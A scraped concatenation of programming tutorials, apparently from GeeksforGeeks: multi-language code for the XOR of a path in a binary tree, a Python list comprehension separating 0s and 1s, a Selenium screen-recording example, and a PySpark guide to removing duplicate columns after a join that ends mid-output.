// Java program to find XOR of path between// any two nodes in a Binary Treeimport java.util.*;class Solution{ // structure of a node of binary treestatic class Node { int data; Node left, right;} /* Helper function that allocates a new node with thegiven data and null left and right pointers. */ static Node getNode(int data){ Node newNode = new Node(); newNode.data = data; newNode.left = newNode.right = null; return newNode;} // Function to store XOR of path from// root to every node// mp[x] will store XOR of path from root to node xstatic void storePath(Node root, Map<Integer, Integer> mp, int XOR){ // if root is null // there is no path if (root==null) return; mp.put(root.data, XOR ^ root.data); XOR ^= root.data; if (root.left!=null) storePath(root.left, mp, XOR); if (root.right!=null) storePath(root.right, mp, XOR);} // Function to get XOR of nodes between any two nodesstatic int findXORPath(Map<Integer, Integer> mp, int node1, int node2){ return mp.get(node1) ^ mp.get(node2);} // Driver Codepublic static void main(String args[]){ // binary tree formation Node root = getNode(0); root.left = getNode(1); root.left.left = getNode(3); root.left.left.left = getNode(7); root.left.right = getNode(4); root.left.right.left = getNode(8); root.left.right.right = getNode(9); root.right = getNode(2); root.right.left = getNode(5); root.right.right = getNode(6); int XOR = 0; Map<Integer, Integer> mp= new HashMap<Integer, Integer>(); int node1 = 3; int node2 = 5; // Store XOR path from root to every node storePath(root, mp, XOR); System.out.println( findXORPath(mp, node1, node2)); }}//contributed by Arnab Kundu
# Python3 program to find XOR of path between# any two nodes in a Binary Tree # Tree nodeclass Node: def __init__(self, data): self.data = data self.left = None self.right = None # Helper function that allocates a node with the# given data and None left and right pointers.def getNode(data): newNode = Node(0) newNode.data = data newNode.left = newNode.right = None return newNode mp = dict() # Function to store XOR of path from# root to every node# mp[x] will store XOR of path from root to node xdef storePath( root, XOR) : global mp # if root is None # there is no path if (root == None) : return mp[root.data] = XOR ^ root.data; XOR = XOR ^ root.data if (root.left != None): storePath(root.left, XOR) if (root.right != None) : storePath(root.right, XOR) # Function to get XOR of nodes between any two nodesdef findXORPath( node1, node2) : global mp return mp.get(node1,0) ^ mp.get(node2,0) # Driver Code # binary tree formationroot = getNode(0)root.left = getNode(1)root.left.left = getNode(3)root.left.left.left = getNode(7)root.left.right = getNode(4)root.left.right.left = getNode(8)root.left.right.right = getNode(9)root.right = getNode(2)root.right.left = getNode(5)root.right.right = getNode(6) XOR = 0 node1 = 3node2 = 5 # Store XOR path from root to every nodestorePath(root, XOR) print( findXORPath( node1, node2)) # This code is contributed by Arnab Kundu
// C# program to find XOR of path between// any two nodes in a Binary Treeusing System;using System.Collections.Generic; class GFG{ // structure of a node of binary tree class Node { public int data; public Node left, right; } /* Helper function that allocates a new node with the given data and null left and right pointers. */ static Node getNode(int data) { Node newNode = new Node(); newNode.data = data; newNode.left = newNode.right = null; return newNode; } // Function to store XOR of path from // root to every node // mp[x] will store XOR of path from root to node x static void storePath(Node root, Dictionary<int, int> mp, int XOR) { // if root is null // there is no path if (root == null) return; mp.Add(root.data, XOR ^ root.data); XOR ^= root.data; if (root.left != null) storePath(root.left, mp, XOR); if (root.right != null) storePath(root.right, mp, XOR); } // Function to get XOR of nodes between any two nodes static int findXORPath(Dictionary<int, int> mp, int node1, int node2) { return mp[node1] ^ mp[node2]; } // Driver Code public static void Main() { // binary tree formation Node root = getNode(0); root.left = getNode(1); root.left.left = getNode(3); root.left.left.left = getNode(7); root.left.right = getNode(4); root.left.right.left = getNode(8); root.left.right.right = getNode(9); root.right = getNode(2); root.right.left = getNode(5); root.right.right = getNode(6); int XOR = 0; Dictionary<int, int> mp = new Dictionary<int, int>(); int node1 = 3; int node2 = 5; // Store XOR path from root to every node storePath(root, mp, XOR); Console.WriteLine( findXORPath(mp, node1, node2)); }} /* This code is contributed PrinciRaj1992 */
<script> // JavaScript program to find XOR of path between // any two nodes in a Binary Tree // structure of a node of binary tree class Node { constructor(data) { this.left = null; this.right = null; this.data = data; } } /* Helper function that allocates a new node with the given data and null left and right pointers. */ function getNode(data) { let newNode = new Node(data); return newNode; } // Function to store XOR of path from // root to every node // mp[x] will store XOR of path from root to node x function storePath(root, mp, XOR) { // if root is null // there is no path if (root==null) return; mp.set(root.data, XOR ^ root.data); XOR ^= root.data; if (root.left!=null) storePath(root.left, mp, XOR); if (root.right!=null) storePath(root.right, mp, XOR); } // Function to get XOR of nodes between any two nodes function findXORPath(mp, node1, node2) { return mp.get(node1) ^ mp.get(node2); } // binary tree formation let root = getNode(0); root.left = getNode(1); root.left.left = getNode(3); root.left.left.left = getNode(7); root.left.right = getNode(4); root.left.right.left = getNode(8); root.left.right.right = getNode(9); root.right = getNode(2); root.right.left = getNode(5); root.right.right = getNode(6); let XOR = 0; let mp= new Map(); let node1 = 3; let node2 = 5; // Store XOR path from root to every node storePath(root, mp, XOR); document.write(findXORPath(mp, node1, node2)); </script>
5
Time Complexity: O(N) Auxiliary Space: O(N), where N is the number of nodes.
andrew1234
princiraj1992
rameshtravel07
Binary Tree
Bitwise-XOR
Tree
Tree
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Introduction to Data Structures
Introduction to Tree Data Structure
Inorder Tree Traversal without Recursion
What is Data Structure: Types, Classifications and Applications
Binary Tree | Set 3 (Types of Binary Tree)
Lowest Common Ancestor in a Binary Tree | Set 1
Binary Tree | Set 2 (Properties)
Diameter of a Binary Tree
Decision Tree
Construct Tree from given Inorder and Preorder traversals
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n28 Jun, 2021"
},
{
"code": null,
"e": 221,
"s": 54,
"text": "Given a binary tree with distinct nodes and a pair of two nodes. The task is to find the XOR of all of the nodes which comes on the path between the given two nodes. "
},
{
"code": null,
"e": 330,
"s": 221,
"text": "For Example, in the above binary tree for nodes (3, 5) XOR of path will be (3 XOR 1 XOR 0 XOR 2 XOR 5) = 5. "
},
{
"code": null,
"e": 388,
"s": 330,
"text": "The idea is to make use of these two properties of XOR: "
},
{
"code": null,
"e": 418,
"s": 388,
"text": "XOR of same elements is zero."
},
{
"code": null,
"e": 472,
"s": 418,
"text": "XOR of an element with zero gives the element itself."
},
{
"code": null,
"e": 644,
"s": 472,
"text": "Now, for each node find and store the XOR along the path from root to that node. This can be done using simple DFS. Now the XOR along path between any two nodes will be: "
},
{
"code": null,
"e": 725,
"s": 644,
"text": "(XOR of path from root to first node) XOR (XOR of path from root to second node)"
},
{
"code": null,
"e": 774,
"s": 725,
"text": "Explanation: There arises two different cases: "
},
{
"code": null,
"e": 1418,
"s": 774,
"text": "If the two nodes are in different subtrees of root nodes. That is one in the left subtree and the other in the right subtree. In this case it is clear that the formulae written above will give the correct result as the path between the nodes goes through root with all distinct nodes.If the nodes are in the same subtree. That is either in the left subtree or in the right subtree. In this case you need to observe that path from root to the two nodes will have an intersection point before which the path is common for the two nodes from root. The XOR of this common path is calculated twice and cancels out, so it does not effect the result."
},
{
"code": null,
"e": 1703,
"s": 1418,
"text": "If the two nodes are in different subtrees of root nodes. That is one in the left subtree and the other in the right subtree. In this case it is clear that the formulae written above will give the correct result as the path between the nodes goes through root with all distinct nodes."
},
{
"code": null,
"e": 2063,
"s": 1703,
"text": "If the nodes are in the same subtree. That is either in the left subtree or in the right subtree. In this case you need to observe that path from root to the two nodes will have an intersection point before which the path is common for the two nodes from root. The XOR of this common path is calculated twice and cancels out, so it does not effect the result."
},
{
"code": null,
"e": 2374,
"s": 2063,
"text": "Note: For a single pair of nodes, it is not needed to store the path from roots to all nodes. This is efficient and written considering if there is a list of pair of nodes and for every pair we have to find XOR of path between the two nodes in a Binary Tree.Below is the implementation of the above approach: "
},
{
"code": null,
"e": 2378,
"s": 2374,
"text": "C++"
},
{
"code": null,
"e": 2383,
"s": 2378,
"text": "Java"
},
{
"code": null,
"e": 2391,
"s": 2383,
"text": "Python3"
},
{
"code": null,
"e": 2394,
"s": 2391,
"text": "C#"
},
{
"code": null,
"e": 2405,
"s": 2394,
"text": "Javascript"
},
{
"code": "// C++ program to find XOR of path between// any two nodes in a Binary Tree#include <bits/stdc++.h>using namespace std; // structure of a node of binary treestruct Node { int data; Node *left, *right;}; /* Helper function that allocates a new node with thegiven data and NULL left and right pointers. */struct Node* getNode(int data){ struct Node* newNode = new Node; newNode->data = data; newNode->left = newNode->right = NULL; return newNode;} // Function to store XOR of path from// root to every node// mp[x] will store XOR of path from root to node xvoid storePath(Node* root, unordered_map<int, int>& mp, int XOR){ // if root is NULL // there is no path if (!root) return; mp.insert(make_pair(root->data, XOR ^ root->data)); XOR ^= root->data; if (root->left) storePath(root->left, mp, XOR); if (root->right) storePath(root->right, mp, XOR);} // Function to get XOR of nodes between any two nodesint findXORPath(unordered_map<int, int> mp, int node1, int node2){ return mp[node1] ^ mp[node2];} // Driver Codeint main(){ // binary tree formation struct Node* root = getNode(0); root->left = getNode(1); root->left->left = getNode(3); root->left->left->left = getNode(7); root->left->right = getNode(4); root->left->right->left = getNode(8); root->left->right->right = getNode(9); root->right = getNode(2); root->right->left = getNode(5); root->right->right = getNode(6); int XOR = 0; unordered_map<int, int> mp; int node1 = 3; int node2 = 5; // Store XOR path from root to every node storePath(root, mp, XOR); cout << findXORPath(mp, node1, node2); return 0;}",
"e": 4099,
"s": 2405,
"text": null
},
{
"code": "// Java program to find XOR of path between// any two nodes in a Binary Treeimport java.util.*;class Solution{ // structure of a node of binary treestatic class Node { int data; Node left, right;} /* Helper function that allocates a new node with thegiven data and null left and right pointers. */ static Node getNode(int data){ Node newNode = new Node(); newNode.data = data; newNode.left = newNode.right = null; return newNode;} // Function to store XOR of path from// root to every node// mp[x] will store XOR of path from root to node xstatic void storePath(Node root, Map<Integer, Integer> mp, int XOR){ // if root is null // there is no path if (root==null) return; mp.put(root.data, XOR ^ root.data); XOR ^= root.data; if (root.left!=null) storePath(root.left, mp, XOR); if (root.right!=null) storePath(root.right, mp, XOR);} // Function to get XOR of nodes between any two nodesstatic int findXORPath(Map<Integer, Integer> mp, int node1, int node2){ return mp.get(node1) ^ mp.get(node2);} // Driver Codepublic static void main(String args[]){ // binary tree formation Node root = getNode(0); root.left = getNode(1); root.left.left = getNode(3); root.left.left.left = getNode(7); root.left.right = getNode(4); root.left.right.left = getNode(8); root.left.right.right = getNode(9); root.right = getNode(2); root.right.left = getNode(5); root.right.right = getNode(6); int XOR = 0; Map<Integer, Integer> mp= new HashMap<Integer, Integer>(); int node1 = 3; int node2 = 5; // Store XOR path from root to every node storePath(root, mp, XOR); System.out.println( findXORPath(mp, node1, node2)); }}//contributed by Arnab Kundu",
"e": 5853,
"s": 4099,
"text": null
},
{
"code": "# Python3 program to find XOR of path between# any two nodes in a Binary Tree # Tree nodeclass Node: def __init__(self, data): self.data = data self.left = None self.right = None # Helper function that allocates a node with the# given data and None left and right pointers.def getNode(data): newNode = Node(0) newNode.data = data newNode.left = newNode.right = None return newNode mp = dict() # Function to store XOR of path from# root to every node# mp[x] will store XOR of path from root to node xdef storePath( root, XOR) : global mp # if root is None # there is no path if (root == None) : return mp[root.data] = XOR ^ root.data; XOR = XOR ^ root.data if (root.left != None): storePath(root.left, XOR) if (root.right != None) : storePath(root.right, XOR) # Function to get XOR of nodes between any two nodesdef findXORPath( node1, node2) : global mp return mp.get(node1,0) ^ mp.get(node2,0) # Driver Code # binary tree formationroot = getNode(0)root.left = getNode(1)root.left.left = getNode(3)root.left.left.left = getNode(7)root.left.right = getNode(4)root.left.right.left = getNode(8)root.left.right.right = getNode(9)root.right = getNode(2)root.right.left = getNode(5)root.right.right = getNode(6) XOR = 0 node1 = 3node2 = 5 # Store XOR path from root to every nodestorePath(root, XOR) print( findXORPath( node1, node2)) # This code is contributed by Arnab Kundu",
"e": 7321,
"s": 5853,
"text": null
},
{
"code": "// C# program to find XOR of path between// any two nodes in a Binary Treeusing System;using System.Collections.Generic; class GFG{ // structure of a node of binary tree class Node { public int data; public Node left, right; } /* Helper function that allocates a new node with the given data and null left and right pointers. */ static Node getNode(int data) { Node newNode = new Node(); newNode.data = data; newNode.left = newNode.right = null; return newNode; } // Function to store XOR of path from // root to every node // mp[x] will store XOR of path from root to node x static void storePath(Node root, Dictionary<int, int> mp, int XOR) { // if root is null // there is no path if (root == null) return; mp.Add(root.data, XOR ^ root.data); XOR ^= root.data; if (root.left != null) storePath(root.left, mp, XOR); if (root.right != null) storePath(root.right, mp, XOR); } // Function to get XOR of nodes between any two nodes static int findXORPath(Dictionary<int, int> mp, int node1, int node2) { return mp[node1] ^ mp[node2]; } // Driver Code public static void Main() { // binary tree formation Node root = getNode(0); root.left = getNode(1); root.left.left = getNode(3); root.left.left.left = getNode(7); root.left.right = getNode(4); root.left.right.left = getNode(8); root.left.right.right = getNode(9); root.right = getNode(2); root.right.left = getNode(5); root.right.right = getNode(6); int XOR = 0; Dictionary<int, int> mp = new Dictionary<int, int>(); int node1 = 3; int node2 = 5; // Store XOR path from root to every node storePath(root, mp, XOR); Console.WriteLine( findXORPath(mp, node1, node2)); }} /* This code is contributed PrinciRaj1992 */",
"e": 9370,
"s": 7321,
"text": null
},
{
"code": "<script> // JavaScript program to find XOR of path between // any two nodes in a Binary Tree // structure of a node of binary tree class Node { constructor(data) { this.left = null; this.right = null; this.data = data; } } /* Helper function that allocates a new node with the given data and null left and right pointers. */ function getNode(data) { let newNode = new Node(data); return newNode; } // Function to store XOR of path from // root to every node // mp[x] will store XOR of path from root to node x function storePath(root, mp, XOR) { // if root is null // there is no path if (root==null) return; mp.set(root.data, XOR ^ root.data); XOR ^= root.data; if (root.left!=null) storePath(root.left, mp, XOR); if (root.right!=null) storePath(root.right, mp, XOR); } // Function to get XOR of nodes between any two nodes function findXORPath(mp, node1, node2) { return mp.get(node1) ^ mp.get(node2); } // binary tree formation let root = getNode(0); root.left = getNode(1); root.left.left = getNode(3); root.left.left.left = getNode(7); root.left.right = getNode(4); root.left.right.left = getNode(8); root.left.right.right = getNode(9); root.right = getNode(2); root.right.left = getNode(5); root.right.right = getNode(6); let XOR = 0; let mp= new Map(); let node1 = 3; let node2 = 5; // Store XOR path from root to every node storePath(root, mp, XOR); document.write(findXORPath(mp, node1, node2)); </script>",
"e": 11079,
"s": 9370,
"text": null
},
{
"code": null,
"e": 11081,
"s": 11079,
"text": "5"
},
{
"code": null,
"e": 11161,
"s": 11083,
"text": "Time Complexity: O(N) Auxiliary Space: O(N), where N is the number of nodes. "
},
{
"code": null,
"e": 11172,
"s": 11161,
"text": "andrew1234"
},
{
"code": null,
"e": 11186,
"s": 11172,
"text": "princiraj1992"
},
{
"code": null,
"e": 11201,
"s": 11186,
"text": "rameshtravel07"
},
{
"code": null,
"e": 11213,
"s": 11201,
"text": "Binary Tree"
},
{
"code": null,
"e": 11225,
"s": 11213,
"text": "Bitwise-XOR"
},
{
"code": null,
"e": 11230,
"s": 11225,
"text": "Tree"
},
{
"code": null,
"e": 11235,
"s": 11230,
"text": "Tree"
},
{
"code": null,
"e": 11333,
"s": 11235,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 11365,
"s": 11333,
"text": "Introduction to Data Structures"
},
{
"code": null,
"e": 11401,
"s": 11365,
"text": "Introduction to Tree Data Structure"
},
{
"code": null,
"e": 11442,
"s": 11401,
"text": "Inorder Tree Traversal without Recursion"
},
{
"code": null,
"e": 11506,
"s": 11442,
"text": "What is Data Structure: Types, Classifications and Applications"
},
{
"code": null,
"e": 11549,
"s": 11506,
"text": "Binary Tree | Set 3 (Types of Binary Tree)"
},
{
"code": null,
"e": 11597,
"s": 11549,
"text": "Lowest Common Ancestor in a Binary Tree | Set 1"
},
{
"code": null,
"e": 11630,
"s": 11597,
"text": "Binary Tree | Set 2 (Properties)"
},
{
"code": null,
"e": 11656,
"s": 11630,
"text": "Diameter of a Binary Tree"
},
{
"code": null,
"e": 11670,
"s": 11656,
"text": "Decision Tree"
}
] |
Python List Comprehension | Segregate 0’s and 1’s in an array list
|
07 Jan, 2018
You are given an array of 0s and 1s in random order. Segregate 0s on left side and 1s on right side of the array.
Examples:
Input : arr = [0, 1, 0, 1, 0, 0, 1, 1, 1, 0]
Output : [0, 0, 0, 0, 0, 1, 1, 1, 1, 1]
We have existing solution for this problem please refer Segregate 0s and 1s in an array link. We can solve this problem quickly in Python using List Comprehension. Traverse given list and separate out two different lists, one contains all 0’s and another one contains all 1’s. Now concatenate both lists together.
# Function to Segregate 0's and 1's in an array list def segregate(arr): res = ([x for x in arr if x==0] + [x for x in arr if x==1]) print(res) # Driver programif __name__ == "__main__": arr = [0, 1, 0, 1, 0, 0, 1, 1, 1, 0] segregate(arr)
Output:
[0, 0, 0, 0, 0, 1, 1, 1, 1, 1]
python-list
Python
python-list
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Different ways to create Pandas Dataframe
Enumerate() in Python
Python String | replace()
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Convert integer to string in Python
Python | os.path.join() method
Create a Pandas DataFrame from Lists
Introduction To PYTHON
|
[
{
"code": null,
"e": 53,
"s": 25,
"text": "\n07 Jan, 2018"
},
{
"code": null,
"e": 167,
"s": 53,
"text": "You are given an array of 0s and 1s in random order. Segregate 0s on left side and 1s on right side of the array."
},
{
"code": null,
"e": 177,
"s": 167,
"text": "Examples:"
},
{
"code": null,
"e": 268,
"s": 177,
"text": "Input : arr = [0, 1, 0, 1, 0, 0, 1, 1, 1, 0] \nOutput : [0, 0, 0, 0, 0, 1, 1, 1, 1, 1] \n"
},
{
"code": null,
"e": 582,
"s": 268,
"text": "We have existing solution for this problem please refer Segregate 0s and 1s in an array link. We can solve this problem quickly in Python using List Comprehension. Traverse given list and separate out two different lists, one contains all 0’s and another one contains all 1’s. Now concatenate both lists together."
},
{
"code": "# Function to Segregate 0's and 1's in an array list def segregate(arr): res = ([x for x in arr if x==0] + [x for x in arr if x==1]) print(res) # Driver programif __name__ == \"__main__\": arr = [0, 1, 0, 1, 0, 0, 1, 1, 1, 0] segregate(arr)",
"e": 836,
"s": 582,
"text": null
},
{
"code": null,
"e": 844,
"s": 836,
"text": "Output:"
},
{
"code": null,
"e": 877,
"s": 844,
"text": "[0, 0, 0, 0, 0, 1, 1, 1, 1, 1] \n"
},
{
"code": null,
"e": 889,
"s": 877,
"text": "python-list"
},
{
"code": null,
"e": 896,
"s": 889,
"text": "Python"
},
{
"code": null,
"e": 908,
"s": 896,
"text": "python-list"
},
{
"code": null,
"e": 1006,
"s": 908,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 1048,
"s": 1006,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 1070,
"s": 1048,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 1096,
"s": 1070,
"text": "Python String | replace()"
},
{
"code": null,
"e": 1128,
"s": 1096,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 1157,
"s": 1128,
"text": "*args and **kwargs in Python"
},
{
"code": null,
"e": 1184,
"s": 1157,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 1220,
"s": 1184,
"text": "Convert integer to string in Python"
},
{
"code": null,
"e": 1251,
"s": 1220,
"text": "Python | os.path.join() method"
},
{
"code": null,
"e": 1288,
"s": 1251,
"text": "Create a Pandas DataFrame from Lists"
}
] |
Selenium - Capture videos
|
Sometimes we may not be able to analyze the failures just with the help of a log file or a screenshot. At times, it helps to capture the complete execution as a video. Let us understand how to capture videos.
We will make use of Monte Media Library to perform this operation.
Step 1 − Navigate to the URL - https://www.randelshofer.ch/monte/index.html and download the screen recorder JAR as shown below.
Step 2 − After downloading, add the JAR file to the Libraries of the current project.
Step 3 − We will use Java's AWT package to initialize the graphics configuration.
GraphicsConfiguration gc = GraphicsEnvironment
.getLocalGraphicsEnvironment()
.getDefaultScreenDevice()
.getDefaultConfiguration();
Step 4 − An instance of ScreenRecorder is created which takes the following parameters.
GraphicsConfiguration
Provides information about the display screen such as size and resolution.
Video and compression format
The output format (AVI) of the movie with number of frames/sec.
Color of the mouse cursor and refresh rate
Specifies the mouse cursor color and refresh rate.
Audio format
If 'NULL', audio will NOT be recorded.
We will capture a video of the simple test execution - percent calculation.
import java.io.File;
import java.io.IOException;
import java.util.concurrent.TimeUnit;
import java.awt.*;
import org.apache.commons.io.FileUtils;
import org.openqa.selenium.*;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.By;
import org.monte.media.math.Rational;
import org.monte.media.Format;
import org.monte.screenrecorder.ScreenRecorder;
import static org.monte.media.AudioFormatKeys.*;
import static org.monte.media.VideoFormatKeys.*;
public class webdriverdemo {
private static ScreenRecorder screenRecorder;
public static void main(String[] args) throws IOException, AWTException {
GraphicsConfiguration gconfig = GraphicsEnvironment
.getLocalGraphicsEnvironment()
.getDefaultScreenDevice()
.getDefaultConfiguration();
screenRecorder = new ScreenRecorder(gconfig,
new Format(MediaTypeKey, MediaType.FILE, MimeTypeKey, MIME_AVI),
new Format(MediaTypeKey, MediaType.VIDEO, EncodingKey,
ENCODING_AVI_TECHSMITH_SCREEN_CAPTURE,
CompressorNameKey, ENCODING_AVI_TECHSMITH_SCREEN_CAPTURE,
DepthKey, (int)24, FrameRateKey, Rational.valueOf(15),
QualityKey, 1.0f,
KeyFrameIntervalKey, (int) (15 * 60)),
new Format(MediaTypeKey, MediaType.VIDEO,
EncodingKey,"black", FrameRateKey, Rational.valueOf(30)), null);
WebDriver driver = new FirefoxDriver();
// Start Capturing the Video
screenRecorder.start();
// Puts an Implicit wait, Will wait for 10 seconds before throwing exception
driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);
// Launch website
driver.navigate().to("http://www.calculator.net/");
// Maximize the browser
driver.manage().window().maximize();
// Click on Math Calculators
driver.findElement(By.xpath(".//*[@id = 'menu']/div[3]/a")).click();
// Click on Percent Calculators
driver.findElement(By.xpath(".//*[@id = 'menu']/div[4]/div[3]/a")).click();
// Enter value 10 in the first number of the percent Calculator
driver.findElement(By.id("cpar1")).sendKeys("10");
// Enter value 50 in the second number of the percent Calculator
driver.findElement(By.id("cpar2")).sendKeys("50");
// Click Calculate Button
driver.findElement(By.xpath(".//*[@id = 'content']/table/tbody/tr/td[2]/input")).click();
// Get the Result Text based on its xpath
String result =
driver.findElement(By.xpath(".//*[@id = 'content']/p[2]/span/font/b")).getText();
File screenshot = ((TakesScreenshot)driver).getScreenshotAs(OutputType.FILE);
FileUtils.copyFile(screenshot, new File("D:\\screenshots\\screenshots1.jpg"));
// Print a Log In message to the screen
System.out.println(" The Result is " + result);
// Close the Browser.
driver.close();
// Stop the ScreenRecorder
screenRecorder.stop();
}
}
The recorded video is saved in the "C:\users\<<UserName>>\Videos" folder as shown below.
|
[
{
"code": null,
"e": 2218,
"s": 2009,
"text": "Sometimes we may not be able to analyze the failures just with the help of a log file or a screenshot. At times, it helps to capture the complete execution as a video. Let us understand how to capture videos."
},
{
"code": null,
"e": 2285,
"s": 2218,
"text": "We will make use of Monte Media Library to perform this operation."
},
{
"code": null,
"e": 2414,
"s": 2285,
"text": "Step 1 − Navigate to the URL - https://www.randelshofer.ch/monte/index.html and download the screen recorder JAR as shown below."
},
{
"code": null,
"e": 2500,
"s": 2414,
"text": "Step 2 − After downloading, add the JAR file to the Libraries of the current project."
},
{
"code": null,
"e": 2582,
"s": 2500,
"text": "Step 3 − We will use Java's AWT package to initialize the graphics configuration."
},
{
"code": null,
"e": 2720,
"s": 2582,
"text": "GraphicsConfiguration gc = GraphicsEnvironment\n .getLocalGraphicsEnvironment()\n .getDefaultScreenDevice()\n .getDefaultConfiguration();"
},
{
"code": null,
"e": 2808,
"s": 2720,
"text": "Step 4 − An instance of ScreenRecorder is created which takes the following parameters."
},
{
"code": null,
"e": 2830,
"s": 2808,
"text": "GraphicsConfiguration"
},
{
"code": null,
"e": 2905,
"s": 2830,
"text": "Provides information about the display screen such as size and resolution."
},
{
"code": null,
"e": 2934,
"s": 2905,
"text": "Video and compression format"
},
{
"code": null,
"e": 2998,
"s": 2934,
"text": "The output format (AVI) of the movie with number of frames/sec."
},
{
"code": null,
"e": 3041,
"s": 2998,
"text": "Color of the mouse cursor and refresh rate"
},
{
"code": null,
"e": 3092,
"s": 3041,
"text": "Specifies the mouse cursor color and refresh rate."
},
{
"code": null,
"e": 3105,
"s": 3092,
"text": "Audio format"
},
{
"code": null,
"e": 3144,
"s": 3105,
"text": "If 'NULL', audio will NOT be recorded."
},
{
"code": null,
"e": 3220,
"s": 3144,
"text": "We will capture a video of the simple test execution - percent calculation."
},
{
"code": null,
"e": 6333,
"s": 3220,
"text": "import java.io.File;\nimport java.io.IOException;\nimport java.util.concurrent.TimeUnit;\nimport java.awt.*;\n\nimport org.apache.commons.io.FileUtils;\n\nimport org.openqa.selenium.*;\nimport org.openqa.selenium.firefox.FirefoxDriver;\nimport org.openqa.selenium.WebDriver;\nimport org.openqa.selenium.By;\n\nimport org.monte.media.math.Rational;\nimport org.monte.media.Format;\nimport org.monte.screenrecorder.ScreenRecorder;\n\nimport static org.monte.media.AudioFormatKeys.*;\nimport static org.monte.media.VideoFormatKeys.*;\n\n\npublic class webdriverdemo {\n private static ScreenRecorder screenRecorder;\n \n public static void main(String[] args) throws IOException, AWTException {\n GraphicsConfiguration gconfig = GraphicsEnvironment\n .getLocalGraphicsEnvironment()\n .getDefaultScreenDevice()\n .getDefaultConfiguration();\n \n screenRecorder = new ScreenRecorder(gconfig,\n new Format(MediaTypeKey, MediaType.FILE, MimeTypeKey, MIME_AVI),\n new Format(MediaTypeKey, MediaType.VIDEO, EncodingKey,\n ENCODING_AVI_TECHSMITH_SCREEN_CAPTURE,\n CompressorNameKey, ENCODING_AVI_TECHSMITH_SCREEN_CAPTURE,\n DepthKey, (int)24, FrameRateKey, Rational.valueOf(15),\n QualityKey, 1.0f,\n KeyFrameIntervalKey, (int) (15 * 60)),\n new Format(MediaTypeKey, MediaType.VIDEO,\n EncodingKey,\"black\", FrameRateKey, Rational.valueOf(30)), null);\n \n WebDriver driver = new FirefoxDriver();\n \n // Start Capturing the Video\n screenRecorder.start();\n \n // Puts an Implicit wait, Will wait for 10 seconds before throwing exception\n driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);\n \n // Launch website\n driver.navigate().to(\"http://www.calculator.net/\");\n \n // Maximize the browser\n driver.manage().window().maximize();\n \n // Click on Math Calculators\n driver.findElement(By.xpath(\".//*[@id = 'menu']/div[3]/a\")).click();\n \n // Click on Percent Calculators\n driver.findElement(By.xpath(\".//*[@id = 'menu']/div[4]/div[3]/a\")).click();\n \n // Enter value 10 in the first number of the percent Calculator\n driver.findElement(By.id(\"cpar1\")).sendKeys(\"10\");\n \n // Enter value 50 in the second number of the percent Calculator\n driver.findElement(By.id(\"cpar2\")).sendKeys(\"50\");\n \n // Click Calculate Button\n driver.findElement(By.xpath(\".//*[@id = 'content']/table/tbody/tr/td[2]/input\")).click();\n \n // Get the Result Text based on its xpath\n String result =\n driver.findElement(By.xpath(\".//*[@id = 'content']/p[2]/span/font/b\")).getText();\n\n File screenshot = ((TakesScreenshot)driver).getScreenshotAs(OutputType.FILE);\n FileUtils.copyFile(screenshot, new File(\"D:\\\\screenshots\\\\screenshots1.jpg\"));\n\n // Print a Log In message to the screen\n System.out.println(\" The Result is \" + result);\n \n // Close the Browser.\n driver.close();\n \n // Stop the ScreenRecorder\n screenRecorder.stop();\n }\n}"
}
] |
Removing duplicate columns after DataFrame join in PySpark
|
29 Dec, 2021
In this article, we will discuss how to remove duplicate columns after a DataFrame join in PySpark.
Python3
# Importing necessary librariesfrom pyspark.sql import SparkSession # Create a spark sessionspark = SparkSession.builder.appName('pyspark \- example join').getOrCreate() # Create data in dataframedata = [(('Ram'),1,'M'), (('Mike'),2,'M'), (('Rohini'),3,'M'), (('Maria'),4,'F'), (('Jenis'),5,'F')] # Column names in dataframecolumns = ["Name","ID","Gender"] # Create the spark dataframedf1 = spark.createDataFrame(data=data, schema = columns) # Print the dataframedf1.show()
Output:
+------+---+------+
| Name| ID|Gender|
+------+---+------+
| Ram| 1| M|
| Mike| 2| M|
|Rohini| 3| M|
| Maria| 4| F|
| Jenis| 5| F|
+------+---+------+
Python3
# Create data in dataframedata2 = [(1,3000), (2,4000), (3,4000), (4,4000), (5, 1200)] # Column names in dataframecolumns = ["ID","salary"] # Create the spark dataframedf2 = spark.createDataFrame(data=data2, schema = columns) # Print the dataframedf2.show()
Output:
+---+------+
| ID|salary|
+---+------+
| 1| 3000|
| 2| 4000|
| 3| 4000|
| 4| 4000|
| 5| 1200|
+---+------+
This will join the two dataframes
Syntax: dataframe.join(dataframe1).show()
where,
dataframe is the first dataframe
dataframe1 is the second dataframe
Let’s see the dataframe after join:
Python3
df = df1.join(df2, df1.ID==df2.ID)df.show()
Output:
+------+---+------+---+------+
| Name| ID|Gender| ID|salary|
+------+---+------+---+------+
| Jenis| 5| F| 5| 1200|
| Ram| 1| M| 1| 3000|
|Rohini| 3| M| 3| 4000|
| Mike| 2| M| 2| 4000|
| Maria| 4| F| 4| 4000|
+------+---+------+---+------+
Here we see the ID and Salary columns are added to our existing article.
Now, let check the columns once:
Here we check gender columns which is unique so its work fine.
Python3
df.select('Gender').show()
Output:
+------+
|Gender|
+------+
| F|
| M|
| M|
| M|
| F|
+------+
Now let check our Duplicates Columns:
Here it will produce errors because of duplicate columns.
Python3
df.select('ID').show()
Output:
AnalysisException: Reference ‘ID’ is ambiguous, could be: ID, ID.
If we want to drop the duplicate column, then we have to specify the duplicate column in the join function. Here we are simply using join to join two dataframes and then drop duplicate columns.
Syntax: dataframe.join(dataframe1, [‘column_name’]).show()
where,
dataframe is the first dataframe
dataframe1 is the second dataframe
column_name is the common column exists in two dataframes
Python3
new_df = df1.join(df2, ["id"])new_df.show()
Output:
+---+------+------+------+
